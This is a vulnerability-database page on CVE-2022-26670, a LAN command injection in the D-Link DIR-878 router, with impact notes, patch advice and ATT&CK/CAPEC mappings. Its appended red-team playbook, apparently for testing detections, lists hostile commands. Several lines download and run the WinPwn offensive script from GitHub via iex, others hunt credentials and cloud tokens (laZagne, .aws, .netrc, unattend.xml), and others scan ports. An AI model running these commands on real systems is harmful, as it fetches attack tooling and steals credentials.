CVE-2022-26670
Overview
The vulnerability is a command injection flaw caused by insufficient sanitization of special characters in the web interface input fields of the D-Link DIR-878 router. The affected component is the device's embedded web server handling user-supplied input on its LAN-facing management interface. This lack of proper input validation allows execution of arbitrary system commands via crafted input parameters.
Vulnerability Description
D-Link DIR-878 has inadequate filtering for special characters in the webpage input field. An unauthenticated LAN attacker can perform command injection attack to execute arbitrary system commands to control the system or disrupt service.
Impact
An attacker on the local area network can exploit this vulnerability without authentication to execute arbitrary system commands, potentially gaining full control over the device or disrupting its operation. This can lead to service interruption, unauthorized configuration changes, or pivoting to internal networks. The attack requires LAN access but no user interaction or credentials, as indicated by CVSS vector AV:A/PR:N/UI:N, making it a critical risk for internal network security.
Solution
According to the advisory published by the Taiwan Computer Emergency Response Team (https://www.twcert.org.tw/tw/cp-132-5972-c259e-1.html), users should update the D-Link DIR-878 firmware to the latest version provided by D-Link that addresses this command injection vulnerability. The advisory details the fixed firmware release and recommends applying the update promptly to mitigate the issue. No specific workarounds are indicated beyond applying the official patch.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the D-Link DIR-878 router stems from inadequate filtering of special characters in the input fields of its web interface. This oversight allows an unauthenticated attacker on the local area network (LAN) to perform command injection attacks. By manipulating the input fields, an attacker can inject arbitrary system commands that the router will execute with the privileges of the web server process. This can lead to unauthorized access to sensitive system functions, modification of configurations, or even complete system takeover, depending on the commands executed.
Attack vectors for this vulnerability are primarily local, as the attacker must be on the same network as the target device. However, the ease of access to many home networks, combined with the prevalence of default or weak credentials, can make this a significant risk. Exploitation can occur through various methods, such as sending crafted HTTP requests to the router's web interface. For instance, an attacker could input a specially crafted string into a form field that the router does not properly sanitize, triggering the execution of malicious commands. This could lead to a range of malicious activities, from altering network configurations to launching denial-of-service attacks against the router or other devices on the network.
The real-world impact of this vulnerability is substantial, particularly for small businesses and home users who may rely on the D-Link DIR-878 for their internet connectivity. An attacker gaining control of the router could intercept network traffic, redirect users to malicious sites, or even deploy malware across the network. The potential for data breaches is significant, as sensitive information could be exposed or manipulated. Additionally, the disruption of service could lead to downtime, affecting productivity and customer trust. For businesses, the financial repercussions of such incidents can be severe, including loss of revenue, legal liabilities, and damage to reputation.
To detect and mitigate this vulnerability, organizations and individuals should adopt a multi-layered security approach. Regularly updating router firmware is crucial, as manufacturers often release patches to address known vulnerabilities. Users should also change default credentials and implement strong, unique passwords to limit unauthorized access. Network segmentation can further reduce risk by isolating critical systems from less secure devices. Employing intrusion detection systems (IDS) can help identify suspicious activities on the network, allowing for timely responses to potential exploitation attempts. Additionally, users should regularly review logs for unusual access patterns or command executions that could indicate an ongoing attack.
In conclusion, the vulnerability in the D-Link DIR-878 represents a significant threat to network security, particularly for those unaware of the risks associated with inadequate input validation. The potential for command injection attacks highlights the importance of robust security practices, including regular updates, strong authentication measures, and vigilant monitoring. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, users can better protect their networks from exploitation and ensure the integrity of their systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Dlink | Dir-878 Firmware | All |
cpe:2.3:o:dlink:dir-878_firmware:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2022-26670 |
| twcert.org.tw |
GitHub CVE
x_refsource_MISC
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https://www.twcert.org.tw/tw/cp-132-5972-c259e-1.html |